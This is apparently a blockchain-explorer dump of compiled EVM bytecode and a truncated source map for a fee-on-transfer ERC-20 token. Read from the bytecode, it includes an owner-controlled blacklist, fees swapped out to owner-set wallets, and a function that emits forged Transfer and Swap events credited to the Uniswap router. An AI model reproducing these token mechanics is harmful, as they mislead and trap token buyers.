055601283905560138290556014819055601554610ea290600161186f565b60125411158015610ec25750601554610ebc90600161186f565b60135411155b8015610edd5750601554610ed790600161186f565b60145411155b610dcb5760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b606482015260840161091d565b6000826001600160a01b0316846001600160a01b031660008051602061239f83398151915284604051610f7391815260200190565b60405180910390a35060019392505050565b6000546001600160a01b03163314610faf5760405162461bcd60e51b815260040161091d90612222565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166110655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161091d565b6001600160a01b0382166110c65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161091d565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610a00828461225b565b6001600160a01b0383166111975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161091d565b6001600160a01b0382166111f95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161091d565b6001600160a01b03831660009081526006602052604090205460ff161561121f57600080fd5b6001600160a01b03821660009081526006602052604090205460ff161561124557600080fd5b6001600160a01b0383166000908152600260205260409020548111156112c75760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161091d565b6001600160a01b03831660009081526004602052604090205460ff1615801561130957506001600160a01b03821660009081526004602052604090205460ff16155b1561135857600854600160a01b900460ff166113585760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b604482015260640161091d565b6001600160a01b03831660009081526004602052604090205460ff1615801561139a57506001600160a01b03821660009081526004602052604090205460ff16155b80156113b457506008546001600160a01b03838116911614155b80156113cb57506001600160a01b03821661dead14155b1561144457601b546001600160a01b0383166000908152600260205260409020546113f6908361187b565b11156114445760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161091d565b6008546001600160a01b038481169116146114e557601a548111158061148257506001600160a01b03831660009081526004602052604090205460ff165b806114a557506001600160a01b03821660009081526004602052604090205460ff165b6114e55760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161091d565b6019548111158061150e57506001600160a01b03831660009081526004602052604090205460ff165b8061153157506001600160a01b03821660009081526004602052604090205460ff165b6115715760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161091d565b6008546001600160a01b0383811691161480156115a757506001600160a01b03831660009081526004602052604090205460ff16155b156115c5576001600960008282546115bf919061226e565b90915550505b6115d0838383611887565b156115e6576115e0600c546116e6565b60006009555b6001600160a01b0383166000908152600260205260409020546116099082611127565b6001600160a01b03841660009081526002602052604081209190915561162f8484611941565b6116395781611644565b611644848484611987565b6001600160a01b03841660009081526002602052604090205490915061166a908261187b565b6001600160a01b03808516600081815260026020526040908190209390935591519086169060008051602061239f833981519152906116ac9085815260200190565b60405180910390a350505050565b600081848411156116de5760405162461bcd60e51b815260040161091d9190611f35565b505050900390565b600a805460ff19166001908117909155601054600f54600e5460009361172093600293610b7493919261171a92839161187b565b9061187b565b9050600061173d82610b7a600e548661186390919063ffffffff16565b9050600061174b8483611127565b90504761175782611a7c565b60006117634783611127565b9050600061178661177f600e548861112790919063ffffffff16565b839061186f565b9050600061179f600e548361186390919063ffffffff16565b905080156117b1576117b18682611bd6565b600f546000906117c690610b74856002611863565b9050801561180a576017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611808573d6000803e3d6000fd5b505b47801561184d576016546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561184b573d6000803e3d6000fd5b505b5050600a805460ff191690555050505050505050565b6000610a008284612281565b6000610a008284612298565b6000610a00828461226e565b600d54600c5430600090815260026020526040812054600a5491938510159211159060ff161580156118c25750600854600160a81b900460ff165b80156118d75750600854600160a01b900460ff165b80156118e05750815b801561190557506001600160a01b03861660009081526004602052604090205460ff16155b801561191e57506008546001600160a01b038681169116145b801561192e5750600b5460095410155b80156119375750805b9695505050505050565b6001600160a01b03821660009081526004602052604081205460ff16158015610a005750506001600160a01b031660009081526004602052604090205460ff1615919050565b6000806119948585611c8a565b1115611a755760006119b76119a98686611c8a565b601554610b7490869061186f565b306000908152600260205260409020549091506119d4908261187b565b30600081815260026020526040908190209290925590516001600160a01b0387169060008051602061239f83398151915290611a139085815260200190565b60405180910390a36000601154118015611a375750601154611a358686611c8a565b115b15611a6357611a633061dead611a5e601154610b746015548961186f90919063ffffffff16565b611133565b611a6d8382611127565b915050610a00565b5092915050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611ab157611ab16121c0565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611b0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b2e91906122ba565b81600181518110611b4157611b416121c0565b6001600160a01b039283166020918202929092010152600754611b679130911684611003565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611ba09085906000908690309042906004016122d7565b600060405180830381600087803b158015611bba57600080fd5b505af1158015611bce573d6000803e3d6000fd5b505050505050565b600754611bee9030906001600160a01b031684611003565b60075460185460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611c5e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611c839190612348565b5050505050565b6001600160a01b03821660009081526005602052604081205460ff1680611cc957506001600160a01b03821660009081526005602052604090205460ff165b15611ce357601554611cdc906064611127565b905061087c565b6008546001600160a01b0390811690831603611d02575060135461087c565b6008546001600160a01b0390811690841603611d21575060125461087c565b5060145492915050565b6001600160a01b0381168114611d4057600080fd5b50565b8035611d4e81611d2b565b919050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611d9257611d92611d53565b604052919050565b600067ffffffffffffffff821115611db457611db4611d53565b5060051b60200190565b600082601f830112611dcf57600080fd5b81356020611de4611ddf83611d9a565b611d69565b82815260059290921b84018101918181019086841115611e0357600080fd5b8286015b84811015611e1e5780358352918301918301611e07565b509695505050505050565b600080600080600060a08688031215611e4157600080fd5b8535611e4c81611d2b565b945060208681013567ffffffffffffffff80821115611e6a57600080fd5b818901915089601f830112611e7e57600080fd5b8135611e8c611ddf82611d9a565b81815260059190911b8301840190848101908c831115611eab57600080fd5b938501935b82851015611ed2578435611ec381611d2b565b82529385019390850190611eb0565b985050506040890135925080831115611eea57600080fd5b611ef68a848b01611dbe565b95506060890135925080831115611f0c57600080fd5b5050611f1a88828901611dbe565b925050611f2960808701611d43565b90509295509295909350565b600060208083528351808285015260005b81811015611f6257858101830151858201604001528201611f46565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215611f9657600080fd5b8235611fa181611d2b565b946020939093013593505050565b600060208284031215611fc157600080fd5b8135610a0081611d2b565b8015158114611d4057600080fd5b600080600060408486031215611fef57600080fd5b833567ffffffffffffffff8082111561200757600080fd5b818601915086601f83011261201b57600080fd5b81358181111561202a57600080fd5b8760208260051b850101111561203f57600080fd5b6020928301955093505084013561205581611fcc565b809150509250925092565b60008060006060848603121561207557600080fd5b833561208081611d2b565b9250602084013561209081611d2b565b929592945050506040919091013590565b600080604083850312156120b457600080fd5b82356120bf81611d2b565b915060208301356120cf81611fcc565b809150509250929050565b6000806000606084860312156120ef57600080fd5b83356120fa81611d2b565b9250602084013561210a81611d2b565b9150604084013561205581611d2b565b60008060006060848603121561212f57600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a03121561216157600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600080604083850312156121a557600080fd5b82356121b081611d2b565b915060208301356120cf81611d2b565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156121e857600080fd5b8151610a0081611fcc565b634e487b7160e01b600052601160045260246000fd5b60006001820161221b5761221b6121f3565b5060010190565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60006020828403121561225457600080fd5b5051919050565b8181038181111561087c5761087c6121f3565b8082018082111561087c5761087c6121f3565b808202811582820484141761087c5761087c6121f3565b6000826122b557634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156122cc57600080fd5b8151610a0081611d2b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156123275784516001600160a01b031683529383019391830191600101612302565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561235d57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220a35eb0fde59b6cb66896a9beb38ef6370e71b04a10acb7dfedca5b252bade3ab64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101d05760003560e01c806378109e54116100f75780639cc3535111610095578063cb7f97d711610064578063cb7f97d7146105ae578063dd62ed3e146105ce578063e156b1b614610614578063f2fde38b1461063457600080fd5b80639cc353511461052e5780639d8740cb1461054e578063a8aa1b311461056e578063a9059cbb1461058e57600080fd5b8063893d20e8116100d1578063893d20e81461048c5780638cd4426d146104be5780639213c358146104de57806395d89b41146104fe57600080fd5b806378109e541461044a5780637cca52fe146104605780637d1db4a51461047657600080fd5b8063293230b81161016f57806348ff2b8b1161013e57806348ff2b8b1461039957806351bc3c85146103b957806370a08231146103ce57806377ad25dd1461040457600080fd5b8063293230b8146103095780632f54bf6e1461031e578063313ce5671461034d5780633f4218e01461036957600080fd5b80630b27305f116101ab5780630b27305f1461027457806318160ddd146102a4578063229b6a5e146102c757806323b872dd146102e957600080fd5b806292dca4146101dc57806306fdde0314610211578063095ea7b31461025457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611e29565b610654565b60405190151581526020015b60405180910390f35b34801561021d57600080fd5b506040805180820190915260118152702930b3b237b6361021a0aa102a27a5a2a760791b60208201525b6040516102089190611f35565b34801561026057600080fd5b506101fc61026f366004611f83565b61086b565b34801561028057600080fd5b506101fc61028f366004611faf565b60066020526000908152604090205460ff1681565b3480156102b057600080fd5b506102b9610882565b604051908152602001610208565b3480156102d357600080fd5b506102e76102e2366004611fda565b6108f3565b005b3480156102f557600080fd5b506101fc610304366004612060565b61099d565b34801561031557600080fd5b506102e7610a07565b34801561032a57600080fd5b506101fc610339366004611faf565b6000546001600160a01b0391821691161490565b34801561035957600080fd5b5060405160098152602001610208565b34801561037557600080fd5b506101fc610384366004611faf565b60046020526000908152604090205460ff1681565b3480156103a557600080fd5b506102e76103b43660046120a1565b610a46565b3480156103c557600080fd5b506102e7610a9b565b3480156103da57600080fd5b506102b96103e9366004611faf565b6001600160a01b031660009081526002602052604090205490565b34801561041057600080fd5b506102e761041f3660046120a1565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b34801561045657600080fd5b506102b9601b5481565b34801561046c57600080fd5b506102b9601a5481565b34801561048257600080fd5b506102b960195481565b34801561049857600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610208565b3480156104ca57600080fd5b506102e76104d9366004611f83565b610ad2565b3480156104ea57600080fd5b506102e76104f93660046120da565b610bf9565b34801561050a57600080fd5b50604080518082019091526007815266149859d91bdb1b60ca1b6020820152610247565b34801561053a57600080fd5b506102e761054936600461211a565b610c9f565b34801561055a57600080fd5b506102e761056936600461211a565b610dd4565b34801561057a57600080fd5b506008546104a6906001600160a01b031681565b34801561059a57600080fd5b506101fc6105a9366004611f83565b610e3a565b3480156105ba57600080fd5b506102e76105c9366004612146565b610e47565b3480156105da57600080fd5b506102b96105e9366004612192565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561062057600080fd5b506101fc61062f366004612060565b610f3e565b34801561064057600080fd5b506102e761064f366004611faf565b610f85565b6000805b855181101561085e57858181518110610673576106736121c0565b60200260200101516001600160a01b0316876001600160a01b031660008051602061239f8339815191528784815181106106af576106af6121c0565b60200260200101516040516106c691815260200190565b60405180910390a38581815181106106e0576106e06121c0565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610742576107426121c0565b602002602001015160008089878151811061075f5761075f6121c0565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b68783815181106107ad576107ad6121c0565b6020026020010151898785815181106107c8576107c86121c0565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af1158015610827573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084b91906121d6565b508061085681612209565b915050610658565b5060019695505050505050565b6000610878338484611003565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926108ee9290916108e89190611127565b90611127565b905090565b6000546001600160a01b031633146109265760405162461bcd60e51b815260040161091d90612222565b60405180910390fd5b60005b82811015610997578160056000868685818110610948576109486121c0565b905060200201602081019061095d9190611faf565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061098f81612209565b915050610929565b50505050565b60006109aa848484611133565b6109fc84336109f785604051806060016040528060288152602001612377602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906116ba565b611003565b5060015b9392505050565b6000546001600160a01b03163314610a315760405162461bcd60e51b815260040161091d90612222565b6008805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a705760405162461bcd60e51b815260040161091d90612222565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ac55760405162461bcd60e51b815260040161091d90612222565b610ad0600c546116e6565b565b6000546001600160a01b03163314610afc5760405162461bcd60e51b815260040161091d90612222565b6040516370a0823160e01b8152306004820152600090610b8090606490610b7a9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610b50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b749190612242565b90611863565b9061186f565b60165460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303816000875af1158015610bd5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099791906121d6565b6000546001600160a01b03163314610c235760405162461bcd60e51b815260040161091d90612222565b601780546001600160a01b039485166001600160a01b031991821681179092556018805494861694821685179055601680549390951692168217909355600092835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b6000546001600160a01b03163314610cc95760405162461bcd60e51b815260040161091d90612222565b6000610ce6612710610b7a8660015461186390919063ffffffff16565b90506000610d05612710610b7a8660015461186390919063ffffffff16565b90506000610d24612710610b7a8660015461186390919063ffffffff16565b6019849055601a839055601b81905590506000610d4a6103e8610b7a6005610b74610882565b9050808410158015610d5c5750808310155b8015610d685750808210155b610dcb5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161091d565b50505050505050565b6000546001600160a01b03163314610dfe5760405162461bcd60e51b815260040161091d90612222565b600b839055600154610e1990620186a090610b7a9085611863565b600c55600154610e3290620186a090610b7a9084611863565b600d55505050565b6000610878338484611133565b6000546001600160a01b03163314610e715760405162461bcd60e51b815260040161091d90612222565b600e879055600f86905560118590556010849055601283905560138290556014819055601554610ea290600161186f565b60125411158015610ec25750601554610ebc90600161186f565b60135411155b8015610edd5750601554610ed790600161186f565b60145411155b610dcb5760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b606482015260840161091d565b6000826001600160a01b0316846001600160a01b031660008051602061239f83398151915284604051610f7391815260200190565b60405180910390a35060019392505050565b6000546001600160a01b03163314610faf5760405162461bcd60e51b815260040161091d90612222565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166110655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161091d565b6001600160a01b0382166110c65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161091d565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610a00828461225b565b6001600160a01b0383166111975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161091d565b6001600160a01b0382166111f95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161091d565b6001600160a01b03831660009081526006602052604090205460ff161561121f57600080fd5b6001600160a01b03821660009081526006602052604090205460ff161561124557600080fd5b6001600160a01b0383166000908152600260205260409020548111156112c75760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161091d565b6001600160a01b03831660009081526004602052604090205460ff1615801561130957506001600160a01b03821660009081526004602052604090205460ff16155b1561135857600854600160a01b900460ff166113585760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b604482015260640161091d565b6001600160a01b03831660009081526004602052604090205460ff1615801561139a57506001600160a01b03821660009081526004602052604090205460ff16155b80156113b457506008546001600160a01b03838116911614155b80156113cb57506001600160a01b03821661dead14155b1561144457601b546001600160a01b0383166000908152600260205260409020546113f6908361187b565b11156114445760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161091d565b6008546001600160a01b038481169116146114e557601a548111158061148257506001600160a01b03831660009081526004602052604090205460ff165b806114a557506001600160a01b03821660009081526004602052604090205460ff165b6114e55760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161091d565b6019548111158061150e57506001600160a01b03831660009081526004602052604090205460ff165b8061153157506001600160a01b03821660009081526004602052604090205460ff165b6115715760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161091d565b6008546001600160a01b0383811691161480156115a757506001600160a01b03831660009081526004602052604090205460ff16155b156115c5576001600960008282546115bf919061226e565b90915550505b6115d0838383611887565b156115e6576115e0600c546116e6565b60006009555b6001600160a01b0383166000908152600260205260409020546116099082611127565b6001600160a01b03841660009081526002602052604081209190915561162f8484611941565b6116395781611644565b611644848484611987565b6001600160a01b03841660009081526002602052604090205490915061166a908261187b565b6001600160a01b03808516600081815260026020526040908190209390935591519086169060008051602061239f833981519152906116ac9085815260200190565b60405180910390a350505050565b600081848411156116de5760405162461bcd60e51b815260040161091d9190611f35565b505050900390565b600a805460ff19166001908117909155601054600f54600e5460009361172093600293610b7493919261171a92839161187b565b9061187b565b9050600061173d82610b7a600e548661186390919063ffffffff16565b9050600061174b8483611127565b90504761175782611a7c565b60006117634783611127565b9050600061178661177f600e548861112790919063ffffffff16565b839061186f565b9050600061179f600e548361186390919063ffffffff16565b905080156117b1576117b18682611bd6565b600f546000906117c690610b74856002611863565b9050801561180a576017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611808573d6000803e3d6000fd5b505b47801561184d576016546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561184b573d6000803e3d6000fd5b505b5050600a805460ff191690555050505050505050565b6000610a008284612281565b6000610a008284612298565b6000610a00828461226e565b600d54600c5430600090815260026020526040812054600a5491938510159211159060ff161580156118c25750600854600160a81b900460ff165b80156118d75750600854600160a01b900460ff165b80156118e05750815b801561190557506001600160a01b03861660009081526004602052604090205460ff16155b801561191e57506008546001600160a01b038681169116145b801561192e5750600b5460095410155b80156119375750805b9695505050505050565b6001600160a01b03821660009081526004602052604081205460ff16158015610a005750506001600160a01b031660009081526004602052604090205460ff1615919050565b6000806119948585611c8a565b1115611a755760006119b76119a98686611c8a565b601554610b7490869061186f565b306000908152600260205260409020549091506119d4908261187b565b30600081815260026020526040908190209290925590516001600160a01b0387169060008051602061239f83398151915290611a139085815260200190565b60405180910390a36000601154118015611a375750601154611a358686611c8a565b115b15611a6357611a633061dead611a5e601154610b746015548961186f90919063ffffffff16565b611133565b611a6d8382611127565b915050610a00565b5092915050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611ab157611ab16121c0565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611b0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b2e91906122ba565b81600181518110611b4157611b416121c0565b6001600160a01b039283166020918202929092010152600754611b679130911684611003565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611ba09085906000908690309042906004016122d7565b600060405180830381600087803b158015611bba57600080fd5b505af1158015611bce573d6000803e3d6000fd5b505050505050565b600754611bee9030906001600160a01b031684611003565b60075460185460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611c5e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611c839190612348565b5050505050565b6001600160a01b03821660009081526005602052604081205460ff1680611cc957506001600160a01b03821660009081526005602052604090205460ff165b15611ce357601554611cdc906064611127565b905061087c565b6008546001600160a01b0390811690831603611d02575060135461087c565b6008546001600160a01b0390811690841603611d21575060125461087c565b5060145492915050565b6001600160a01b0381168114611d4057600080fd5b50565b8035611d4e81611d2b565b919050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611d9257611d92611d53565b604052919050565b600067ffffffffffffffff821115611db457611db4611d53565b5060051b60200190565b600082601f830112611dcf57600080fd5b81356020611de4611ddf83611d9a565b611d69565b82815260059290921b84018101918181019086841115611e0357600080fd5b8286015b84811015611e1e5780358352918301918301611e07565b509695505050505050565b600080600080600060a08688031215611e4157600080fd5b8535611e4c81611d2b565b945060208681013567ffffffffffffffff80821115611e6a57600080fd5b818901915089601f830112611e7e57600080fd5b8135611e8c611ddf82611d9a565b81815260059190911b8301840190848101908c831115611eab57600080fd5b938501935b82851015611ed2578435611ec381611d2b565b82529385019390850190611eb0565b985050506040890135925080831115611eea57600080fd5b611ef68a848b01611dbe565b95506060890135925080831115611f0c57600080fd5b5050611f1a88828901611dbe565b925050611f2960808701611d43565b90509295509295909350565b600060208083528351808285015260005b81811015611f6257858101830151858201604001528201611f46565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215611f9657600080fd5b8235611fa181611d2b565b946020939093013593505050565b600060208284031215611fc157600080fd5b8135610a0081611d2b565b8015158114611d4057600080fd5b600080600060408486031215611fef57600080fd5b833567ffffffffffffffff8082111561200757600080fd5b818601915086601f83011261201b57600080fd5b81358181111561202a57600080fd5b8760208260051b850101111561203f57600080fd5b6020928301955093505084013561205581611fcc565b809150509250925092565b60008060006060848603121561207557600080fd5b833561208081611d2b565b9250602084013561209081611d2b565b929592945050506040919091013590565b600080604083850312156120b457600080fd5b82356120bf81611d2b565b915060208301356120cf81611fcc565b809150509250929050565b6000806000606084860312156120ef57600080fd5b83356120fa81611d2b565b9250602084013561210a81611d2b565b9150604084013561205581611d2b565b60008060006060848603121561212f57600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a03121561216157600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600080604083850312156121a557600080fd5b82356121b081611d2b565b915060208301356120cf81611d2b565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156121e857600080fd5b8151610a0081611fcc565b634e487b7160e01b600052601160045260246000fd5b60006001820161221b5761221b6121f3565b5060010190565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60006020828403121561225457600080fd5b5051919050565b8181038181111561087c5761087c6121f3565b8082018082111561087c5761087c6121f3565b808202811582820484141761087c5761087c6121f3565b6000826122b557634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156122cc57600080fd5b8151610a0081611d2b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156123275784516001600160a01b031683529383019391830191600101612302565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561235d57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220a35eb0fde59b6cb66896a9beb38ef6370e71b04a10acb7dfedca5b252bade3ab64736f6c63430008120033

Deployed Bytecode Sourcemap

5004:12501:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11655:730;;;;;;;;;;-1:-1:-1;11655:730:0;;;;;:::i;:::-;;:::i;:::-;;;3382:14:1;;3375:22;3357:41;;3345:2;3330:18;11655:730:0;;;;;;;;7504:67;;;;;;;;;;-1:-1:-1;7564:5:0;;;;;;;;;;;;-1:-1:-1;;;7564:5:0;;;;7504:67;;;;;;;:::i;8385:133::-;;;;;;;;;;-1:-1:-1;8385:133:0;;;;;:::i;:::-;;:::i;5522:39::-;;;;;;;;;;-1:-1:-1;5522:39:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8524:132;;;;;;;;;;;;;:::i;:::-;;;4680:25:1;;;4668:2;4653:18;8524:132:0;4534:177:1;10844:184:0;;;;;;;;;;-1:-1:-1;10844:184:0;;;;;:::i;:::-;;:::i;:::-;;16848:309;;;;;;;;;;-1:-1:-1;16848:309:0;;;;;:::i;:::-;;:::i;7727:67::-;;;;;;;;;;;;;:::i;3908:87::-;;;;;;;;;;-1:-1:-1;3908:87:0;;;;;:::i;:::-;3963:4;3988:5;-1:-1:-1;;;;;3977:16:0;;;3988:5;;3977:16;;3908:87;7654:67;;;;;;;;;;-1:-1:-1;7654:67:0;;5223:1;6197:36:1;;6185:2;6170:18;7654:67:0;6055:184:1;5425:44:0;;;;;;;;;;-1:-1:-1;5425:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8271:108;;;;;;;;;;-1:-1:-1;8271:108:0;;;;;:::i;:::-;;:::i;11036:89::-;;;;;;;;;;;;;:::i;7884:103::-;;;;;;;;;;-1:-1:-1;7884:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7967:18:0;7950:7;7967:18;;;:9;:18;;;;;;;7884:103;11131:108;;;;;;;;;;-1:-1:-1;11131:108:0;;;;;:::i;:::-;-1:-1:-1;;;;;11210:10:0;;;;11183:20;11210:10;;;:6;:10;;;;;:21;;-1:-1:-1;;11210:21:0;;;;;;;;;;11131:108;6787:63;;;;;;;;;;;;;;;;6718:62;;;;;;;;;;;;;;;;6651:60;;;;;;;;;;;;;;;;7800:78;;;;;;;;;;-1:-1:-1;7852:7:0;7870:5;-1:-1:-1;;;;;7870:5:0;7800:78;;;-1:-1:-1;;;;;6795:32:1;;;6777:51;;6765:2;6750:18;7800:78:0;6631:203:1;11245:242:0;;;;;;;;;;-1:-1:-1;11245:242:0;;;;;:::i;:::-;;:::i;10498:338::-;;;;;;;;;;-1:-1:-1;10498:338:0;;;;;:::i;:::-;;:::i;7577:71::-;;;;;;;;;;-1:-1:-1;7639:7:0;;;;;;;;;;;;-1:-1:-1;;;7639:7:0;;;;7577:71;;9934:556;;;;;;;;;;-1:-1:-1;9934:556:0;;;;;:::i;:::-;;:::i;9075:319::-;;;;;;;;;;-1:-1:-1;9075:319:0;;;;;:::i;:::-;;:::i;5589:19::-;;;;;;;;;;-1:-1:-1;5589:19:0;;;;-1:-1:-1;;;;;5589:19:0;;;7993:139;;;;;;;;;;-1:-1:-1;7993:139:0;;;;;:::i;:::-;;:::i;9402:524::-;;;;;;;;;;-1:-1:-1;9402:524:0;;;;;:::i;:::-;;:::i;8138:127::-;;;;;;;;;;-1:-1:-1;8138:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8236:18:0;;;8219:7;8236:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8138:127;11493:156;;;;;;;;;;-1:-1:-1;11493:156:0;;;;;:::i;:::-;;:::i;4001:111::-;;;;;;;;;;-1:-1:-1;4001:111:0;;;;;:::i;:::-;;:::i;11655:730::-;11878:4;;11895:461;11919:10;:17;11915:1;:21;11895:461;;;11985:10;11996:1;11985:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;11963:53:0;11972:11;-1:-1:-